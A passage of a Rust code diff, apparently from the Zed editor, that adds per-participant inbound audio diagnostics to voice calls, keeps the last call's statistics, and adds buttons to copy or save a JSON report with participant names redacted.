-                if this.update(cx, |this, cx| this.poll_stats(cx)).is_err() {
+                let Ok(Some(room)) = this.update(cx, |this, _| this.room.upgrade()) else {
+                    break;
+                };
+                let Ok(poll_task) = this.update(cx, |this, cx| this.poll_stats(room, cx)) else {
+                    break;
+                };
+                let result = poll_task.await;
+                if this
+                    .update(cx, |this, cx| this.apply_poll_result(result, cx))
+                    .is_err()
+                {
                     break;
                 }
                 cx.background_executor().timer(Duration::from_secs(1)).await;
@@ -48,41 +131,136 @@ impl CallDiagnostics {
         }));
     }
 
-    fn poll_stats(&mut self, cx: &mut Context<Self>) {
-        let Some(room) = self.room.upgrade() else {
+    fn poll_stats(&mut self, room: Entity<Room>, cx: &mut Context<Self>) -> Task<PollResult> {
+        let connection_quality = room.read(cx).connection_quality();
+        let input_lag = room.read(cx).input_lag().map(DurationDTO);
+        let stats_future = room.read(cx).get_stats(cx);
+
+        let mut remote_tracks = Vec::new();
+        for (user_id, participant) in room.read(cx).remote_participants() {
+            let next_participant_number = self.participant_ids.len() + 1;
+            let participant_id = self
+                .participant_ids
+                .entry(*user_id)
+                .or_insert_with(|| format!("participant-{next_participant_number}"))
+                .clone();
+            for (track_id, (track, stream)) in &participant.audio_tracks {
+                let track_id = track_id.to_string();
+                let next_track_number = self.track_ids.len() + 1;
+                let track_id = self
+                    .track_ids
+                    .entry(track_id)
+                    .or_insert_with(|| format!("audio-track-{next_track_number}"))
+                    .clone();
+                remote_tracks.push(TrackContext {
+                    participant_id: participant_id.clone(),
+                    participant_name: participant.user.username.to_string(),
+                    track_id,
+                    rtc_track_id: track.rtc_track_id(),
+                    playback: stream.remote_playback_stats().unwrap_or_default(),
+                });
+            }
+        }
+
+        let previous_inbound = std::mem::take(&mut self.previous_inbound);
+        let started_at = self.started_at;
+        cx.background_executor().spawn(async move {
+            let Some(session_stats) = stats_future.await else {
+                return PollResult {
+                    snapshot: None,
+                    previous_inbound,
+                };
+            };
+            let computed = compute_network_stats(&session_stats);
+            let (remote_audio, previous_inbound) =
+                compute_remote_audio_stats(&session_stats, &remote_tracks, previous_inbound);
+            let mut stats = CallStats {
+                connection_quality: Some(ConnectionQualityDTO(connection_quality)),
+                effective_quality: None,
+                latency_ms: computed.latency_ms,
+                jitter_ms: computed.jitter_ms,
+                packet_loss_pct: computed.packet_loss_pct,
+                input_lag,
+            };
+            stats.effective_quality = Some(ConnectionQualityDTO(effective_connection_quality(
+                connection_quality,
+                &stats,
+            )));
+            PollResult {
+                snapshot: Some(CallDiagnosticsSnapshot {
+                    elapsed: DurationDTO(started_at.elapsed()),
+                    stats,
+                    remote_audio,
+                }),
+                previous_inbound,
+            }
+        })
+    }
+
+    fn apply_poll_result(&mut self, result: PollResult, cx: &mut Context<Self>) {
+        self.previous_inbound = result.previous_inbound;
+        let Some(snapshot) = result.snapshot else {
             return;
         };
+        self.stats = snapshot.stats.clone();
+        if self.history.len() + 1 > MAX_HISTORY_SAMPLES {
+            self.history.pop_front();
+        }
+        self.history.push_back(Arc::new(snapshot));
+        cx.notify();
+    }
+}
 
-        let connection_quality = room.read(cx).connection_quality();
-        self.stats.connection_quality = Some(connection_quality);
-        self.stats.input_lag = room.read(cx).input_lag();
+impl Serialize for DurationDTO {
+    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
+    where
+        S: Serializer,
+    {
+        self.0.as_millis().serialize(serializer)
+    }
+}
 
-        let stats_future = room.read(cx).get_stats(cx);
+impl Serialize for ConnectionQualityDTO {
+    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
+    where
+        S: Serializer,
+    {
+        match self.0 {
+            ConnectionQuality::Excellent => "excellent",
+            ConnectionQuality::Good => "good",
+            ConnectionQuality::Poor => "poor",
+            ConnectionQuality::Lost => "lost",
+        }
+        .serialize(serializer)
+    }
+}
 
-        let background_task = cx.background_executor().spawn(async move {
-            let session_stats = stats_future.await;
-            session_stats.map(|stats| compute_network_stats(&stats))
-        });
+#[cfg_attr(any(test, feature = "test-support"), allow(dead_code))]
+struct TrackContext {
+    participant_id: String,
+    participant_name: String,
+    track_id: String,
+    rtc_track_id: String,
+    playback: RemoteAudioPlaybackStats,
+}
 
-        self.stats_update_task = Some(cx.spawn(async move |this, cx| {
-            let result = background_task.await;
-            this.update(cx, |this, cx| {
-                if let Some(computed) = result {
-                    this.stats.latency_ms = computed.latency_ms;
-                    this.stats.jitter_ms = computed.jitter_ms;
-                    this.stats.packet_loss_pct = computed.packet_loss_pct;
-                }
-                let quality = this
-                    .stats
-                    .connection_quality
-                    .unwrap_or(ConnectionQuality::Lost);
-                this.stats.effective_quality =
-                    Some(effective_connection_quality(quality, &this.stats));
-                cx.notify();
-            })
-            .ok();
-        }));
-    }
+struct PollResult {
+    snapshot: Option<CallDiagnosticsSnapshot>,
+    previous_inbound: HashMap<String, InboundCounters>,
+}
+
+#[derive(Clone, Copy)]
+#[cfg_attr(any(test, feature = "test-support"), allow(dead_code))]
+struct InboundCounters {
+    packets_received: u64,
+    packets_lost: i64,
+    jitter_buffer_delay: f64,
+    jitter_buffer_emitted_count: u64,
+    concealed_samples: u64,
+    concealment_events: u64,
+    inserted_samples_for_deceleration: u64,
+    removed_samples_for_acceleration: u64,
+    playback: RemoteAudioPlaybackStats,
 }
 
 struct ComputedNetworkStats {
@@ -126,6 +304,159 @@ fn compute_network_stats(stats: &livekit_client::SessionStats) -> ComputedNetwor
     }
 }
 
+#[cfg(all(
+    not(rust_analyzer),
+    any(
+        test,
+        feature = "test-support",
+        all(target_os = "windows", target_env = "gnu"),
+        target_os = "freebsd"
+    )
+))]
+fn compute_remote_audio_stats(
+    _stats: &livekit_client::SessionStats,
+    _remote_tracks: &[TrackContext],
+    previous_inbound: HashMap<String, InboundCounters>,
+) -> (
+    Vec<RemoteAudioDiagnostics>,
+    HashMap<String, InboundCounters>,
+) {
+    (Vec::new(), previous_inbound)
+}
+
+#[cfg(any(
+    rust_analyzer,
+    not(any(
+        test,
+        feature = "test-support",
+        all(target_os = "windows", target_env = "gnu"),
+        target_os = "freebsd"
+    ))
+))]
+fn compute_remote_audio_stats(
+    stats: &livekit_client::SessionStats,
+    remote_tracks: &[TrackContext],
+    previous_inbound: HashMap<String, InboundCounters>,
+) -> (
+    Vec<RemoteAudioDiagnostics>,
+    HashMap<String, InboundCounters>,
+) {
+    use livekit_client::RtcStats;
+
+    let mut diagnostics = Vec::new();
+    let mut next_inbound = HashMap::default();
+    for stat in &stats.subscriber_stats {
+        let RtcStats::InboundRtp(inbound) = stat else {
+            continue;
+        };
+        if inbound.stream.kind != "audio" {
+            continue;
+        }
+
+        let Some(track) = remote_tracks
+            .iter()
+            .find(|track| track.rtc_track_id == inbound.inbound.track_identifier)
+        else {
+            continue;
+        };
+
+        let current = InboundCounters {
+            packets_received: inbound.received.packets_received,
+            packets_lost: inbound.received.packets_lost,
+            jitter_buffer_delay: inbound.inbound.jitter_buffer_delay,
+            jitter_buffer_emitted_count: inbound.inbound.jitter_buffer_emitted_count,
+            concealed_samples: inbound.inbound.concealed_samples,
+            concealment_events: inbound.inbound.concealment_events,
+            inserted_samples_for_deceleration: inbound.inbound.inserted_samples_for_deceleration,
+            removed_samples_for_acceleration: inbound.inbound.removed_samples_for_acceleration,
+            playback: track.playback,
+        };
+        let previous = previous_inbound
+            .get(&inbound.rtc.id)
+            .copied()
+            .unwrap_or(current);
+        next_inbound.insert(inbound.rtc.id.clone(), current);
+
+        let packets_received = current
+            .packets_received
+            .checked_sub(previous.packets_received)
+            .unwrap_or_default();
+        let packets_lost = current
+            .packets_lost
+            .checked_sub(previous.packets_lost)
+            .unwrap_or_default();
+
+        let packet_loss_pct = {
+            let packets_lost = packets_lost.max(0);
+            let expected_packets = packets_received as i128 + i128::from(packets_lost);
+            if expected_packets > 0 {
+                Some((packets_lost as f64 / expected_packets as f64) * 100.0)
+            } else {
+                None
+            }
+        };
+
+        let emitted_count = current
+            .jitter_buffer_emitted_count
+            .checked_sub(previous.jitter_buffer_emitted_count)
+            .unwrap_or_default();
+        let jitter_buffer_delay_ms = {
+            let delay = current.jitter_buffer_delay - previous.jitter_buffer_delay;
+            if emitted_count > 0 && delay >= 0.0 {
+                Some((delay / emitted_count as f64) * 1000.0)
+            } else {
+                None
+            }
+        };
+
+        diagnostics.push(RemoteAudioDiagnostics {
+            participant_id: track.participant_id.clone(),
+            participant_name: track.participant_name.clone(),
+            track_id: track.track_id.clone(),
+            packets_received,
+            packets_lost,
+            packet_loss_pct,
+            jitter_ms: inbound.received.jitter * 1000.0,
+            jitter_buffer_delay_ms,
+            concealed_samples: current
+                .concealed_samples
+                .checked_sub(previous.concealed_samples)
+                .unwrap_or_default(),
+            concealment_events: current
+                .concealment_events
+                .checked_sub(previous.concealment_events)
+                .unwrap_or_default(),
+            inserted_samples_for_deceleration: current
+                .inserted_samples_for_deceleration
+                .checked_sub(previous.inserted_samples_for_deceleration)
+                .unwrap_or_default(),
+            removed_samples_for_acceleration: current
+                .removed_samples_for_acceleration
+                .checked_sub(previous.removed_samples_for_acceleration)
+                .unwrap_or_default(),
+            frames_received: current
+                .playback
+                .frames_received
+                .checked_sub(previous.playback.frames_received)
+                .unwrap_or_default(),
+            frames_dropped: current
+                .playback
+                .frames_dropped
+                .checked_sub(previous.playback.frames_dropped)
+                .unwrap_or_default(),
+            queue_underflows: current
+                .playback
+                .queue_underflows
+                .checked_sub(previous.playback.queue_underflows)
+                .unwrap_or_default(),
+            current_queue_depth: current.playback.current_queue_depth,
+            maximum_queue_depth: current.playback.maximum_queue_depth,
+        });
+    }
+
+    (diagnostics, next_inbound)
+}
+
 #[cfg(all(
     not(rust_analyzer),
     any(
@@ -224,9 +555,37 @@ fn effective_connection_quality(
         worst = worst.max(metric_quality(loss, 1.0, 5.0));
     }
     if let Some(lag) = stats.input_lag {
-        let lag_ms = lag.as_secs_f64() * 1000.0;
+        let lag_ms = lag.0.as_secs_f64() * 1000.0;
         worst = worst.max(metric_quality(lag_ms, 20.0, 50.0));
     }
 
     worst
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn report_redacts_participant_names() -> anyhow::Result<()> {
+        let report = CallDiagnosticsReport {
+            schema_version: 1,
+            samples: vec![Arc::new(CallDiagnosticsSnapshot {
+                elapsed: DurationDTO(Duration::from_secs(1)),
+                stats: CallStats::default(),
+                remote_audio: vec![RemoteAudioDiagnostics {
+                    participant_id: "participant-1".to_string(),
+                    participant_name: "private-username".to_string(),
+                    track_id: "audio-track-1".to_string(),
+                    ..Default::default()
+                }],
+            })],
+        };
+
+        let serialized = serde_json::to_string(&report)?;
+        assert!(!serialized.contains("private-username"));
+        assert!(serialized.contains("participant-1"));
+        assert!(serialized.contains("audio-track-1"));
+        Ok(())
+    }
+}
diff --git a/crates/call/src/call_impl/mod.rs b/crates/call/src/call_impl/mod.rs
index 702242b13384a9..f7fa9d3b7dd35c 100644
--- a/crates/call/src/call_impl/mod.rs
+++ b/crates/call/src/call_impl/mod.rs
@@ -391,6 +391,7 @@ pub struct IncomingCall {
 /// Singleton global maintaining the user's participation in a room across workspaces.
 pub struct ActiveCall {
     room: Option<(Entity<Room>, Vec<Subscription>)>,
+    last_call_diagnostics: Option<Entity<diagnostics::CallDiagnostics>>,
     pending_room_creation: Option<Shared<Task<Result<Entity<Room>, Arc<anyhow::Error>>>>>,
     location: Option<WeakEntity<Project>>,
     _join_debouncer: OneAtATime,
@@ -410,6 +411,7 @@ impl ActiveCall {
     fn new(client: Arc<Client>, user_store: Entity<UserStore>, cx: &mut Context<Self>) -> Self {
         Self {
             room: None,
+            last_call_diagnostics: None,
             pending_room_creation: None,
             location: None,
             pending_invites: Default::default(),
@@ -690,6 +692,7 @@ impl ActiveCall {
         Audio::end_call(cx);
 
         let channel_id = self.channel_id(cx);
+        self.retain_room_diagnostics(cx);
         if let Some((room, _)) = self.room.take() {
             cx.emit(Event::RoomLeft { channel_id });
             room.update(cx, |room, cx| room.leave(cx))
@@ -744,6 +747,7 @@ impl ActiveCall {
             Task::ready(Ok(()))
         } else {
             cx.notify();
+            self.retain_room_diagnostics(cx);
             if let Some(room) = room {
                 if room.read(cx).status().is_offline() {
                     self.room = None;
@@ -779,6 +783,23 @@ impl ActiveCall {
         self.room.as_ref().map(|(room, _)| room)
     }
 
+    pub fn call_diagnostics(&self, cx: &App) -> Option<Entity<diagnostics::CallDiagnostics>> {
+        self.room()
+            .and_then(|room| room.read(cx).diagnostics())
+            .cloned()
+            .or_else(|| self.last_call_diagnostics.clone())
+    }
+
+    fn retain_room_diagnostics(&mut self, cx: &App) {
+        if let Some(diagnostics) = self
+            .room()
+            .and_then(|room| room.read(cx).diagnostics())
+            .cloned()
+        {
+            self.last_call_diagnostics = Some(diagnostics);
+        }
+    }
+
     pub fn client(&self) -> Arc<Client> {
         self.client.clone()
     }
diff --git a/crates/collab_ui/Cargo.toml b/crates/collab_ui/Cargo.toml
index 920f620e0ea2d4..80ade0d74a346e 100644
--- a/crates/collab_ui/Cargo.toml
+++ b/crates/collab_ui/Cargo.toml
@@ -50,6 +50,7 @@ serde.workspace = true
 serde_json.workspace = true
 settings.workspace = true
 smallvec.workspace = true
+smol.workspace = true
 telemetry.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
diff --git a/crates/collab_ui/src/call_stats_modal.rs b/crates/collab_ui/src/call_stats_modal.rs
index cfbdf82c3bb958..99293bcd7f418f 100644
--- a/crates/collab_ui/src/call_stats_modal.rs
+++ b/crates/collab_ui/src/call_stats_modal.rs
@@ -1,13 +1,24 @@
-use call::{ActiveCall, Room, room};
+use anyhow::Result;
+use call::{
+    ActiveCall,
+    diagnostics::{CallDiagnostics, RemoteAudioDiagnostics},
+    room,
+};
 use gpui::{
-    DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, FontWeight, Render, Subscription,
-    Window,
+    ClipboardItem, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, FontWeight, Render,
+    Subscription, Task, TaskExt as _, Window,
 };
 use livekit_client::ConnectionQuality;
+use release_channel::{AppVersion, ReleaseChannel};
+use serde::Serialize;
+use std::{cmp::Reverse, path::PathBuf};
 use ui::prelude::*;
 use workspace::{ModalView, Workspace};
 use zed_actions::ShowCallStats;
 
+const WEBRTC_AUDIO_SAMPLES_PER_MILLISECOND: f64 = 48.0;
+const PLAYBACK_FRAME_DURATION_MILLISECONDS: u64 = 10;
+
 pub fn init(cx: &mut App) {
     cx.observe_new(|workspace: &mut Workspace, _, _cx| {
         workspace.register_action(|workspace, _: &ShowCallStats, window, cx| {
@@ -23,6 +34,15 @@ pub struct CallStatsModal {
     _diagnostics_subscription: Option<Subscription>,
 }
 
+#[derive(Serialize)]
+struct ExportedCallDiagnostics {
+    application_version: String,
+    release_channel: String,
+    operating_system: &'static str,
+    architecture: &'static str,
+    diagnostics: call::diagnostics::CallDiagnosticsReport,
+}
+
 impl CallStatsModal {
     fn new(cx: &mut Context<Self>) -> Self {
         let mut this = Self {
@@ -41,7 +61,7 @@ impl CallStatsModal {
     }
 
     fn observe_diagnostics(&mut self, cx: &mut Context<Self>) {
-        let diagnostics = active_room(cx).and_then(|room| room.read(cx).diagnostics().cloned());
+        let diagnostics = call_diagnostics(cx);
 
         if let Some(diagnostics) = diagnostics {
             self._diagnostics_subscription = Some(cx.observe(&diagnostics, |_, _, cx| cx.notify()));
@@ -61,7 +81,7 @@ impl CallStatsModal {
                 self.observe_diagnostics(cx);
             }
             room::Event::RoomLeft { .. } => {
-                self._diagnostics_subscription = None;
+                self.observe_diagnostics(cx);
                 cx.notify();
             }
             _ => {}
@@ -71,10 +91,66 @@ impl CallStatsModal {
     fn dismiss(&mut self, _: &menu::Cancel, _: &mut Window, cx: &mut Context<Self>) {
         cx.emit(DismissEvent);
     }
+
+    fn report(cx: &App) -> Option<ExportedCallDiagnostics> {
+        let diagnostics = call_diagnostics(cx)?.read(cx).report();
+        let release_channel = ReleaseChannel::try_global(cx)
+            .map(|channel| channel.dev_name().to_string())
+            .unwrap_or_else(|| "unknown".to_string());
+        Some(ExportedCallDiagnostics {
+            application_version: AppVersion::global(cx).to_string(),
+            release_channel,
+            operating_system: std::env::consts::OS,
+            architecture: std::env::consts::ARCH,
+            diagnostics,
+        })
+    }
+
+    fn serialize_report(cx: &App) -> Option<Task<Result<String>>> {
+        let report = Self::report(cx)?;
+        Some(
+            cx.background_executor()
+                .spawn(async move { Ok(serde_json::to_string_pretty(&report)?) }),
+        )
+    }
+
+    fn copy_report(&mut self, cx: &mut Context<Self>) {
+        let Some(report) = Self::serialize_report(cx) else {
+            return;
+        };
+        cx.spawn(async move |_, cx| {
+            let report = report.await?;
+            cx.update(|cx| {
+                cx.write_to_clipboard(ClipboardItem::new_string(report));
+            });
+            anyhow::Ok(())
+        })
+        .detach_and_log_err(cx);
+    }
+
+    fn save_report(&mut self, cx: &mut Context<Self>) {
+        let Some(report) = Self::report(cx) else {
+            return;
+        };
+        let save_dialog =
+            cx.prompt_for_new_path(&PathBuf::default(), Some("zed-call-diagnostics.json"));
+        cx.spawn(async move |_, cx| {
+            let Some(path) = save_dialog.await?? else {
+                return anyhow::Ok(());
+            };
+            cx.background_spawn(async move {
+                let report = serde_json::to_string_pretty(&report)?;
+                smol::fs::write(path, report).await?;
+                anyhow::Ok(())
+            })
+            .await
+        })
+        .detach_and_log_err(cx);
+    }
 }
 
-fn active_room(cx: &App) -> Option<Entity<Room>> {
-    ActiveCall::try_global(cx)?.read(cx).room().cloned()
+fn call_diagnostics(cx: &App) -> Option<Entity<CallDiagnostics>> {
+    ActiveCall::try_global(cx)?.read(cx).call_diagnostics(cx)
 }
 
 fn quality_label(quality: Option<ConnectionQuality>) -> (&'static str, Color) {
@@ -111,10 +187,10 @@ fn metric_rating(label: &str, value_ms: f64) -> (&'static str, Color) {
     }
 }
 
-fn input_lag_rating(value_ms: f64) -> (&'static str, Color) {
-    if value_ms < 20.0 {
+fn input_lag_rating(value_ms: u128) -> (&'static str, Color) {
+    if value_ms < 20 {
         ("Normal", Color::Success)
-    } else if value_ms < 50.0 {
+    } else if value_ms < 50 {
         ("High", Color::Warning)
     } else {
         ("Poor", Color::Error)
@@ -131,6 +207,26 @@ fn packet_loss_rating(loss_pct: f64) -> (&'static str, Color) {
     }
 }
 
+fn audio_issue_score(audio: &RemoteAudioDiagnostics) -> u64 {
+    audio
+        .concealment_events
+        .saturating_add(audio.frames_dropped)
+        .saturating_add(audio.queue_underflows)
+        .saturating_add(u64::from(
+            audio.packet_loss_pct.is_some_and(|loss| loss >= 1.0),
+        ))
+}
+
+fn format_audio_duration(milliseconds: f64) -> String {
+    if milliseconds > 0.0 && milliseconds < 1.0 {
+        "<1ms".to_string()
+    } else if milliseconds < 10.0 && milliseconds.fract() != 0.0 {
+        format!("{milliseconds:.1}ms")
+    } else {
+        format!("{milliseconds:.0}ms")
+    }
+}
+
 impl EventEmitter<DismissEvent> for CallStatsModal {}
 impl ModalView for CallStatsModal {}
 
@@ -142,23 +238,59 @@ impl Focusable for CallStatsModal {
 
 impl Render for CallStatsModal {
     fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let room = active_room(cx);
-        let is_connected = room.is_some();
-        let stats = room
-            .and_then(|room| {
-                let diagnostics = room.read(cx).diagnostics()?;
-                Some(diagnostics.read(cx).stats().clone())
+        let is_connected = ActiveCall::try_global(cx)
+            .is_some_and(|active_call| active_call.read(cx).room().is_some());
+        let diagnostics = call_diagnostics(cx);
+        let (latest, sample_count, retained_duration, recent_issue_count) = diagnostics
+            .as_ref()
+            .map(|diagnostics| {
+                let diagnostics = diagnostics.read(cx);
+                let retained_duration = diagnostics
+                    .history()
+                    .front()
+                    .zip(diagnostics.history().back())
+                    .and_then(|(first, last)| last.elapsed.0.checked_sub(first.elapsed.0))
+                    .unwrap_or_default();
+                let recent_issue_count = diagnostics
+                    .history()
+                    .iter()
+                    .rev()
+                    .take(60)
+                    .filter(|snapshot| {
+                        snapshot
+                            .remote_audio
+                            .iter()
+                            .any(|audio| audio_issue_score(audio) > 0)
+                    })
+                    .count();
+                (
+                    diagnostics.latest().cloned(),
+                    diagnostics.history().len(),
+                    retained_duration,
+                    recent_issue_count,
+                )
             })
             .unwrap_or_default();
+        let stats = latest
+            .as_ref()
+            .map(|snapshot| snapshot.stats.clone())
+            .unwrap_or_default();
+        let mut remote_audio = latest
+            .map(|snapshot| snapshot.remote_audio)
+            .unwrap_or_default();
+        remote_audio.sort_by_key(|audio| Reverse(audio_issue_score(audio)));
 
-        let (quality_text, quality_color) = quality_label(stats.connection_quality);
+        let (quality_text, quality_color) =
+            quality_label(stats.connection_quality.map(|inner| inner.0));
+        let has_diagnostics = sample_count > 0;
 
         v_flex()
             .key_context("CallStatsModal")
             .on_action(cx.listener(Self::dismiss))
             .track_focus(&self.focus_handle)
             .elevation_3(cx)
-            .w(rems(24.))
+            .w(rems(36.))
+            .max_h(rems(42.))
             .p_4()
             .gap_3()
             .child(
@@ -171,64 +303,205 @@ impl Render for CallStatsModal {
                             .color(quality_color),
                     ),
             )
-            .when(!is_connected, |this| {
+            .when(!is_connected && has_diagnostics, |this| {
+                this.child(
+                    h_flex()
+                        .justify_center()
+                        .child(Label::new("Showing diagnostics from the most recent call").color(Color::Muted)),
+                )
+            })
+            .when(!has_diagnostics, |this| {
                 this.child(
                     h_flex()
                         .justify_center()
                         .py_4()
-                        .child(Label::new("Not in a call").color(Color::Muted)),
+                        .child(Label::new("No call diagnostics available").color(Color::Muted)),
                 )
             })
-            .when(is_connected, |this| {
+            .when(has_diagnostics, |this| {
                 this.child(
                     v_flex()
-                        .gap_1()
+                        .id("call-diagnostics-scroll")
+                        .gap_3()
+                        .max_h(rems(32.))
+                        .overflow_y_scroll()
                         .child(
-                            h_flex()
-                                .gap_2()
-                                .child(Label::new("Network").weight(FontWeight::SEMIBOLD)),
+                            Label::new(format!(
+                                "{sample_count} samples · {:.0}s retained · {recent_issue_count} affected intervals in the last 60s",
+                                retained_duration.as_secs_f64()
+                            ))
+                            .size(LabelSize::Small)
+                            .color(Color::Muted),
                         )
-                        .child(self.render_metric_row(
-                            "Latency",
-                            "Time for data to travel to the server",
-                            stats.latency_ms,
-                            |v| format!("{:.0}ms", v),
-                            |v| metric_rating("Latency", v),
-                        ))
-                        .child(self.render_metric_row(
-                            "Jitter",
-                            "Variance or fluctuation in latency",
-                            stats.jitter_ms,
-                            |v| format!("{:.0}ms", v),
-                            |v| metric_rating("Jitter", v),
-                        ))
-                        .child(self.render_metric_row(
-                            "Packet loss",
-                            "Amount of data lost during transfer",
-                            stats.packet_loss_pct,
-                            |v| format!("{:.1}%", v),
-                            |v| packet_loss_rating(v),
-                        ))
-                        .child(self.render_metric_row(
-                            "Input lag",
-                            "Delay from audio capture to WebRTC",
-                            stats.input_lag.map(|d| d.as_secs_f64() * 1000.0),
-                            |v| format!("{:.1}ms", v),
-                            |v| input_lag_rating(v),
-                        )),
+                        .child(
+                            v_flex()
+                                .gap_1()
+                                .child(Label::new("Network").weight(FontWeight::SEMIBOLD))
+                                .child(self.render_metric_row(
+                                    "Latency",
+                                    "Time for data to travel to the server",
+                                    stats.latency_ms,
+                                    |v| format!("{:.0}ms", v),
+                                    |v| metric_rating("Latency", v),
+                                ))
+                                .child(self.render_metric_row(
+                                    "Jitter",
+                                    "Variance or fluctuation in latency",
+                                    stats.jitter_ms,
+                                    |v| format!("{:.0}ms", v),
+                                    |v| metric_rating("Jitter", v),
+                                ))
+                                .child(self.render_metric_row(
+                                    "Packet loss",
+                                    "Amount of data lost during transfer",
+                                    stats.packet_loss_pct,
+                                    |v| format!("{:.1}%", v),
+                                    packet_loss_rating,
+                                ))
+                                .child(self.render_metric_row(
+                                    "Input lag",
+                                    "Delay from audio capture to WebRTC",
+                                    stats.input_lag.map(|d| d.0.as_millis()),
+                                    |v| format!("{}ms", v),
+                                    input_lag_rating,
+                                )),
+                        )
+                        .child(
+                            v_flex()
+                                .gap_1()
+                                .child(Label::new("Inbound audio").weight(FontWeight::SEMIBOLD))
+                                .when(remote_audio.is_empty(), |this| {
+                                    this.child(
+                                        Label::new("Waiting for inbound audio statistics")
+                                            .color(Color::Muted),
+                                    )
+                                })
+                                .children(
+                                    remote_audio
+                                        .into_iter()
+                                        .map(|audio| self.render_remote_audio(audio)),
+                                ),
+                        ),
+                )
+            })
+            .when(has_diagnostics, |this| {
+                this.child(
+                    h_flex()
+                        .justify_end()
+                        .gap_2()
+                        .child(
+                            Button::new("copy-call-diagnostics", "Copy Report")
+                                .on_click(cx.listener(|this, _, _, cx| this.copy_report(cx))),
+                        )
+                        .child(
+                            Button::new("save-call-diagnostics", "Save Report…")
+                                .on_click(cx.listener(|this, _, _, cx| this.save_report(cx))),
+                        ),
                 )
             })
     }
 }
 
 impl CallStatsModal {
-    fn render_metric_row(
+    fn render_remote_audio(&self, audio: RemoteAudioDiagnostics) -> impl IntoElement {
+        let issue_score = audio_issue_score(&audio);
+        let (status, color) = if issue_score > 0 {
+            ("Affected", Color::Warning)
+        } else {
+            ("Healthy", Color::Success)
+        };
+        let packet_loss = audio
+            .packet_loss_pct
+            .map(|loss| format!("{loss:.1}%"))
+            .unwrap_or_else(|| "—".to_string());
+        let jitter_buffer_delay = audio
+            .jitter_buffer_delay_ms
+            .map(|delay| format!("{delay:.1}ms"))
+            .unwrap_or_else(|| "—".to_string());
+        let repaired_audio_duration = format_audio_duration(
+            audio.concealed_samples as f64 / WEBRTC_AUDIO_SAMPLES_PER_MILLISECOND,
+        );
+        let starved_audio_duration = format_audio_duration(
+            audio
+                .queue_underflows
+                .saturating_mul(PLAYBACK_FRAME_DURATION_MILLISECONDS) as f64,
+        );
+        let dropped_audio_duration = format_audio_duration(
+            audio
+                .frames_dropped
+                .saturating_mul(PLAYBACK_FRAME_DURATION_MILLISECONDS) as f64,
+        );
+        let buffered_audio_duration = format_audio_duration(
+            audio
+                .current_queue_depth
+                .saturating_mul(PLAYBACK_FRAME_DURATION_MILLISECONDS) as f64,
+        );
+        let peak_buffered_audio_duration = format_audio_duration(
+            audio
+                .maximum_queue_depth
+                .saturating_mul(PLAYBACK_FRAME_DURATION_MILLISECONDS) as f64,
+        );
+        let repair_event_label = if audio.concealment_events == 1 {
+            "event"
+        } else {
+            "events"
+        };
+
+        v_flex()
+            .px_2()
+            .py_1()
+            .gap_1()
+            .rounded_md()
+            .child(
+                h_flex()
+                    .justify_between()
+                    .child(
+                        h_flex()
+                            .gap_1()
+                            .child(Label::new(audio.participant_name))
+                            .child(
+                                Label::new(format!(
+                                    "{} · {}",
+                                    audio.participant_id, audio.track_id
+                                ))
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                            ),
+                    )
+                    .child(Label::new(status).color(color)),
+            )
+            .child(
+                Label::new(format!(
+                    "Loss {packet_loss} · jitter {:.1}ms · jitter buffer {jitter_buffer_delay}",
+                    audio.jitter_ms
+                ))
+                .size(LabelSize::Small)
+                .color(Color::Muted),
+            )
+            .child(
+                Label::new(format!(
+                    "WebRTC repaired {repaired_audio_duration} in {} {repair_event_label}",
+                    audio.concealment_events,
+                ))
+                .size(LabelSize::Small)
+                .color(Color::Muted),
+            )
+            .child(
+                Label::new(format!(
+                    "Local playback starved for {starved_audio_duration} · dropped {dropped_audio_duration} · buffered {buffered_audio_duration} (peak {peak_buffered_audio_duration})",
+                ))
+                .size(LabelSize::Small)
+                .color(Color::Muted),
+            )
+    }
+
+    fn render_metric_row<T: Copy + Clone>(
         &self,
         title: &str,
         description: &str,
-        value: Option<f64>,
-        format_value: impl Fn(f64) -> String,
-        rate: impl Fn(f64) -> (&'static str, Color),
+        value: Option<T>,
+        format_value: impl Fn(T) -> String,
+        rate: impl Fn(T) -> (&'static str, Color),
     ) -> impl IntoElement {
         let (rating_text, rating_color, value_text) = match value {
             Some(v) => {
diff --git a/crates/livekit_client/src/lib.rs b/crates/livekit_client/src/lib.rs
index aa4831562c2f70..709db8112fb990 100644
--- a/crates/livekit_client/src/lib.rs
+++ b/crates/livekit_client/src/lib.rs
@@ -5,6 +5,7 @@ use cpal::DeviceId;
 mod remote_video_track_view;
 pub use remote_video_track_view::{RemoteVideoTrackView, RemoteVideoTrackViewEvent};
 use rodio::DeviceTrait as _;
+use serde::{Deserialize, Serialize};
 
 mod record;
 pub use record::CaptureInput;
@@ -75,6 +76,15 @@ pub enum ConnectionQuality {
     Lost,
 }
 
+#[derive(Clone, Copy, Debug, Default, Deserialize, Serialize)]
+pub struct RemoteAudioPlaybackStats {
+    pub frames_received: u64,
+    pub frames_dropped: u64,
+    pub queue_underflows: u64,
+    pub current_queue_depth: u64,
+    pub maximum_queue_depth: u64,
+}
+
 #[derive(Debug, Clone)]
 pub enum TrackPublication {
     Local(LocalTrackPublication),
diff --git a/crates/livekit_client/src/livekit_client.rs b/crates/livekit_client/src/livekit_client.rs
index 1c1cc5c3b7075b..fbad39880b3f82 100644
--- a/crates/livekit_client/src/livekit_client.rs
+++ b/crates/livekit_client/src/livekit_client.rs
@@ -297,6 +297,10 @@ impl RemoteAudioTrack {
     pub fn sid(&self) -> TrackSid {
         self.0.sid()
     }
+
+    pub fn rtc_track_id(&self) -> String {
+        self.0.rtc_track().id()
+    }
 }
 
 impl RemoteVideoTrack {
diff --git a/crates/livekit_client/src/livekit_client/playback.rs b/crates/livekit_client/src/livekit_client/playback.rs
index bed43d22d6c0a9..f00b64768e73a4 100644
--- a/crates/livekit_client/src/livekit_client/playback.rs
+++ b/crates/livekit_client/src/livekit_client/playback.rs
@@ -31,6 +31,8 @@ use std::time::{Duration, Instant};
 use std::{borrow::Cow, collections::VecDeque, sync::Arc};
 use util::{ResultExt as _, maybe};
 
